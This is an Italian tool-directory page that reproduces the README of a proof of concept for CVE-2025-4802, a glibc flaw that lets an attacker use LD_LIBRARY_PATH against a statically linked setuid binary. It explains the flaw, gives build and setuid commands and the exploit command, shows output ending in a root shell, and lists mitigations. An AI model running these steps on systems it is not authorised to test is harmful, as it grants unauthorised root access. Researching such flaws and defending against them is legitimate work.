Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-4802-Proof-of-Concept

Proof of Concept per un binario setuid compilato staticamente vulnerabile a dlopen con LD_LIBRARY_PATH

Vedi Repository
2157 mesi faNon ancora revisionato

CVE-2025-4802 — Prova di Concetto

⚠️ Avvertenza: Questo repository è esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzati. Non utilizzare questo exploit su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. L'uso improprio potrebbe violare leggi e regolamenti.

Riepilogo CVE

CampoDettagli
ID CVECVE-2025-4802
Software interessatoGNU C Library (glibc)
Versioni interessate2.27 – 2.38
Tipo di vulnerabilitàEscalation dei privilegi tramite LD_LIBRARY_PATH non fidato
Vettore di attaccoLocale

Descrizione

Una vulnerabilità nella GNU C Library (glibc) versioni da 2.27 a 2.38 consente a un utente malintenzionato di sfruttare la variabile d'ambiente LD_LIBRARY_PATH in binari setuid compilati staticamente che chiamano dlopen().

Normalmente, il linker dinamico sanifica LD_LIBRARY_PATH per i programmi setuid. Tuttavia, i binari compilati staticamente bypassano completamente il linker dinamico, quindi LD_LIBRARY_PATH non viene mai cancellato. Quando un tale binario chiama dlopen() (direttamente, o indirettamente tramite setlocale() o funzioni NSS come getaddrinfo()), glibc risolve le librerie condivise usando il LD_LIBRARY_PATH controllato dall'attaccante, consentendo l'esecuzione di codice arbitrario con privilegi elevati.

Come funziona

  1. Un binario setuid-root compilato staticamente chiama dlopen("myso.so", ...) per caricare un oggetto condiviso per nome (non un percorso assoluto).
  2. Poiché il binario è collegato staticamente, il linker dinamico (ld-linux.so) non viene mai eseguito, quindi LD_LIBRARY_PATH non è sanificato.
  3. Un attaccante crea un oggetto condiviso malevolo (myso.so) che esporta lo stesso simbolo hello() ma genera una shell root.
  4. L'attaccante imposta LD_LIBRARY_PATH in modo che punti alla directory contenente la libreria malevola.
  5. Quando il binario setuid viene eseguito, carica la libreria dell'attaccante invece di quella legittima, eseguendo codice arbitrario come root.

Struttura del repository

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

Prerequisiti

  • Sistema operativo: Fedora 39 (o qualsiasi distribuzione Linux con glibc vulnerabile)
  • Versione glibc: 2.27 – 2.38 (controlla con ldd --version)
  • Pacchetti: gcc, make
  • Accesso root per impostare il bit setuid

Passaggi di riproduzione

1. Compila tutto

root@kitploit:~
make all

O manualmente:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Imposta il bit Setuid (richiede root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Esegui normalmente (comportamento sicuro)

root@kitploit:~
./main

Output previsto:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Sfrutta con LD_LIBRARY_PATH (comportamento malevolo)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Output previsto:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Il binario carica il myso.so dell'attaccante dalla directory evil_library/ invece di quello legittimo, generando una shell root.

Prova di Concetto

Screenshot della Prova di Concetto

È disponibile anche un video dimostrativo: proof_of_concept_video.mp4

Mitigazione

  • Aggiorna glibc a una versione corretta (> 2.38)
  • Evita il collegamento statico per binari setuid che usano dlopen()
  • Usa percorsi assoluti nelle chiamate dlopen() invece di nomi di librerie semplici
  • Abbassa i privilegi prima di chiamare dlopen()
  • Usa flag di hardening del compilatore/linker ed evita setuid dove possibile

Risorse

  • NVD — CVE-2025-4802
Scarica lo strumento